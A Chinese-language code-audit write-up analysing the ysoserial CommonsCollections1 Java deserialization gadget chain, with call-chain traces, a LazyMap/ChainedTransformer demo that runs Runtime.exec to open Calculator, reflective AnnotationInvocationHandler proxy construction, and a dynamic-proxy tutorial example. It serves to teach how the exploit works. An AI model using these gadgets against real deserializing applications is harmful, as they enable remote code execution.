『代码审计』ysoserial CommonsCollections 1 反序列化分析

Gadget chain:        ObjectInputStream.readObject()            BadAttributeValueExpException.readObject()                TiedMapEntry.toString()                    LazyMap.get()                        ChainedTransformer.transform()                            ConstantTransformer.transform()                            InvokerTransformer.transform()                                Method.invoke()                                    Class.getMethod()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.getRuntime()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.exec()    Requires:        commons-collections

Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()
    Requires:        commons-collections

<dependencies>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version>        </dependency>    </dependencies>

package demos;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class lazymapDemo {    public static void main(String[] args) {        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})        };        Transformer chain = new ChainedTransformer(transformers);        Map map = new HashMap();        Map lazyMap = LazyMap.decorate(map, chain);        lazyMap.get("1");    }}

public interface test{};class A implement test{};test a = new A()；

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        //通过反射获得cls的构造函数        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);        //设置Accessible为true        ctor.setAccessible(true);        //通过newInstance()方法实例化对象，并赋值给接口        InvocationHandler Handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

public interface Person {    public void name();}

public class Libai implements Person{  public void name(){  System.out.println("我叫李白。");  }}

import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;
class LibaiInvocationHandler implements InvocationHandler {    /**     * 需要一个接口类对象     */    private Person person;
    /**     * 需要构造方法来实例化对象     * @param person     */    public LibaiInvocationHandler(Person person){        this.person=person;    }
    /**     * 实现InvocationHandler类的invoke方法，执行被代理的Libai类的任何方法，都会被修改执行该invoke方法     * @param proxy     * @param method     * @param args     * @return null     * @throws Throwable     */    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        System.out.println("我是李白代理人。");        //调用被代理类中的方法        Object invoke = method.invoke(person, args);        System.out.println("介绍完了");        return invoke;    }}
public  class test{    public static void main(String[] args) {        //实例化一个被代理类的对象        Libai libai = new Libai();        //给对象设置代理        LibaiInvocationHandler lbh = new LibaiInvocationHandler(libai);        Person p = (Person) Proxy.newProxyInstance(lbh.getClass().getClassLoader(),libai.getClass().getInterfaces(),lbh);        //用代理对象调用相关方法，则执行目标方法和自定义代理中的相关逻辑        p.name();    }
}

LibaiInvocationHandler和AnnotationInvocationHandler类:都存在构造方法，AnnotationInvocationHandler类传入map对象实现了invoke方法，AnnotationInvocationHandler类invoke方法，调用了map对象的get方法。存在成员变量,AnnotationInvocationHandler类为一个Map对象。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, Handler);

Handler = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()